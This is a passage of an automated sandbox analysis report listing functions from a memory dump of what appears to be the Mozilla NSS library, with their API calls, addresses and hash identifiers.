PR_SetError.NSS3(FFFFE001,00000000), ref: 6C682E8B

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

Part of subcall function 6C66F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C659BFF,?,00000000,00000000), ref: 6C66F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C657FFA), ref: 6C682EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C68317B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 3865a47f43c1dda15e7b98852025fdfbc7aa6561c2d1cf863a438bf8becf1f00
Instruction ID: 38444b46cb55f9f83e34cb7219b3187f0646acd92a3432b6284355faa50ec96f
Opcode Fuzzy Hash: 3865a47f43c1dda15e7b98852025fdfbc7aa6561c2d1cf863a438bf8becf1f00
Instruction Fuzzy Hash: E2A1BF71A002189FDB24CF54CC84BEAB7B5EF49308F148199ED4967781E731AE85CFA6

Function 6C64ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C64ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C64EDCE

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

free.MOZGLUE(00000000,?,?,?,?,6C64B04F), ref: 6C64EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C64EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C64EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C64EEFB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 86afe97afbf72fc7b917d68a03353fe881b21e8c9d4a361402a53e789d6e2182
Instruction ID: ca59eb3776d63ed614a799313f1e0f4ce7473c4131f204313418494685c4a6b5
Opcode Fuzzy Hash: 86afe97afbf72fc7b917d68a03353fe881b21e8c9d4a361402a53e789d6e2182
Instruction Fuzzy Hash: 4F815BB5A002059FEB14CF59D884FABBBF5BF89308F14C428E9159B751DB30E815CBA9

Function 6C64CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C64DAE2,?), ref: 6C64C6C2

PR_Now.NSS3 ref: 6C64CD35

Part of subcall function 6C6A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DC6
Part of subcall function 6C6A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DD1
Part of subcall function 6C6A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A9DED

Part of subcall function 6C636C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5E1C6F,00000000,00000004,?,?), ref: 6C636C3F

PR_GetCurrentThread.NSS3 ref: 6C64CD54

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

Part of subcall function 6C637260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5E1CCC,00000000,00000000,?,?), ref: 6C63729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C64CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C64CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C64CE2C

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C64CE40

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

Part of subcall function 6C64CEE0: PORT_ArenaMark_Util.NSS3(?,6C64CD93,?), ref: 6C64CEEE
Part of subcall function 6C64CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C64CD93,?), ref: 6C64CEFC
Part of subcall function 6C64CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C64CD93,?), ref: 6C64CF0B
Part of subcall function 6C64CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C64CD93,?), ref: 6C64CF1D

Part of subcall function 6C64CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C64CD93,?), ref: 6C64CF47
Part of subcall function 6C64CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C64CD93,?), ref: 6C64CF67
Part of subcall function 6C64CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C64CD93,?,?,?,?,?,?,?,?,?,?,?,6C64CD93,?), ref: 6C64CF78

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 8f8c43818787d9b67c5696699b456ea0c42a688dcda7f6293843eba7e2f0d7b1
Instruction ID: 70563b5894f3ff7dc6b55cd71fe6d53a549dc084cc331d2784140e4825a5ddb6
Opcode Fuzzy Hash: 8f8c43818787d9b67c5696699b456ea0c42a688dcda7f6293843eba7e2f0d7b1
Instruction Fuzzy Hash: BD51C3B6A00114ABE710DF69DC40FAA77E4AF49348F25C424D90A97B41FB31ED0ACB99

Function 6C563850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C563890
TlsGetValue.KERNEL32 ref: 6C5638D2
PR_CallOnce.NSS3(6C7414E4,6C6ACC70), ref: 6C56391C
PR_GetCurrentThread.NSS3 ref: 6C563977
memcpy.VCRUNTIME140(?,?,?), ref: 6C5639A2
PR_GetCurrentThread.NSS3 ref: 6C5639F2

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: 5e214a5423d21528cb71f562af2c588e4870f9ddc6a6281704c3171f733cb111
Instruction ID: eb9290da8534e2ecfb0828377a2abf2269b7dfebc16feb69a3a8d7d34b520456
Opcode Fuzzy Hash: 5e214a5423d21528cb71f562af2c588e4870f9ddc6a6281704c3171f733cb111
Instruction Fuzzy Hash: 8041E571A043118BD710AF3ACC447AA77F4FF86318F11866ED89997B61E730D885CB99

Function 6C65FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C65FFE5

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_EnterMonitor.NSS3(?), ref: 6C660004
PR_EnterMonitor.NSS3(?), ref: 6C66001B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 75b6b75803e62316bac1f20ac7d10a5b23356d2e1658bf82949d06d1f52a6646
Instruction ID: 4699d858df34663ecc33ba5f8e291eb4f18b6041bc588ff9af6e8568a6c03fe9
Opcode Fuzzy Hash: 75b6b75803e62316bac1f20ac7d10a5b23356d2e1658bf82949d06d1f52a6646
Instruction Fuzzy Hash: BD4149756446809BE7208A6BDC617EBB3A1DF4130CF14053DE44BCAE90E7BAA54AC74F

Function 6C61EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C61EF38

Part of subcall function 6C609520: PK11_IsLoggedIn.NSS3(00000000,?,6C63379E,?,00000001,?), ref: 6C609542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C61EF53

Part of subcall function 6C624C20: TlsGetValue.KERNEL32 ref: 6C624C4C
Part of subcall function 6C624C20: EnterCriticalSection.KERNEL32(?), ref: 6C624C60
Part of subcall function 6C624C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C624CA1
Part of subcall function 6C624C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C624CBE
Part of subcall function 6C624C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C624CD2
Part of subcall function 6C624C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624D3A

PR_GetCurrentThread.NSS3 ref: 6C61EF9E

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

free.MOZGLUE(00000000), ref: 6C61EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C61F016
free.MOZGLUE(00000000), ref: 6C61F022

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 58bcbedbe36d5bd848f5f2e42b6a2c8fbaaf8f2abd8960112b4a7f0fef31ecb5
Instruction ID: 0b18554e5657e182f960f2a3096185c532d9db8d9be55ac80cc8ff45f6853077
Opcode Fuzzy Hash: 58bcbedbe36d5bd848f5f2e42b6a2c8fbaaf8f2abd8960112b4a7f0fef31ecb5
Instruction Fuzzy Hash: 0C41C371E00209AFDF01CFA9DC44BEE7BB9AF49359F004025F908A7750E772C9158BA9

Function 6C5F4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F4894

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C5F48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5F4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F494A

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 1ad39dcfeea81e0e2256f05008bd3ac3b2e8cfcb8b73c2c3b59409a1492c4175
Instruction ID: 46c8c80dbf0219217a42a780740ebf221de30c9952a48b4286b06a357ae3eb35
Opcode Fuzzy Hash: 1ad39dcfeea81e0e2256f05008bd3ac3b2e8cfcb8b73c2c3b59409a1492c4175
Instruction Fuzzy Hash: 1E41C3717043096BE708CF69DE80BAB73E89F85358F14052CEA6997741F770D906CB5A

Function 6C60CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C60CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C60D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C60D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60D025
PR_NewLock.NSS3 ref: 6C60D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C60D074

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b4582b815f515731888a2116e2c0caf1aed5b96db0dd37a2616ffc2acdc6cf3f
Instruction ID: 8f0ae6bac7354b795c75e82fec78394931b4243273b5d39a0d1749a15fb7fab7
Opcode Fuzzy Hash: b4582b815f515731888a2116e2c0caf1aed5b96db0dd37a2616ffc2acdc6cf3f
Instruction Fuzzy Hash: B541C4B0B013119FDB14DF29C98078A7BE4EF05318F104269DC1EAB746D774D885CBAA

Function 6C653FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C653FF2

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C654001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C65400F

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C654054

Part of subcall function 6C5EBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C5EBC24
Part of subcall function 6C5EBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5EBC39
Part of subcall function 6C5EBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C5EBC58
Part of subcall function 6C5EBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C5EBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C654070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6540CD

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 0584fed35c2c7500f958cb3bad854d70b1865a336632c02b4c3ce1228aa60ef9
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 5C31F8B1E0034597EB009F649C81BBB3364AF9171CF744264ED099B746FB71E97882A9

Function 6C5F2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C5E2D1A), ref: 6C5F2E7E

Part of subcall function 6C6407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5E8298,?,?,?,6C5DFCE5,?), ref: 6C6407BF
Part of subcall function 6C6407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6407E6
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C64081B
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C640825

PR_Now.NSS3 ref: 6C5F2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C5F2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C5E2D1A), ref: 6C5F2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C5E2D1A), ref: 6C5F2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C5F2F81

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 60d2d97f9e68912a6164c850ec7d926edd74bb4aa9b460791faec105e5ce79be
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 973126F15211808BF718C655CC8ABBFB265EF81318F64497AD53D97AD0EB31988BCE12

Function 6C5E0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C5E0A2C), ref: 6C5E0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C5E0A2C), ref: 6C5E0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C5E0A2C), ref: 6C5E0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C5E0A2C), ref: 6C5E0E90
free.MOZGLUE(00000000), ref: 6C5E0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C5E0A2C), ref: 6C5E0ED9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 968a905f8bcd39d3db8354ae99e2a249e6f3c8c8a9705abf21df9c343d0fae29
Instruction ID: a512b2977cd5602197783db58af4b4fb428d707b72ddb2404ce5a88e793e0fcc
Opcode Fuzzy Hash: 968a905f8bcd39d3db8354ae99e2a249e6f3c8c8a9705abf21df9c343d0fae29
Instruction Fuzzy Hash: 832170B2E0028547EB0089759C41B6B72AFDFCA709F094437D81CA3B02FF70C81592A2

Function 6C5EAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5EAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C5EAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5EAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C5EAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C709500), ref: 6C5EAF23

Part of subcall function 6C63F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C63F0C8
Part of subcall function 6C63F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C63F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EAF37

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: b1ba24ec3c52a529c8609e7dfae554d6f9041e80b915ec02a6405da41b371a54
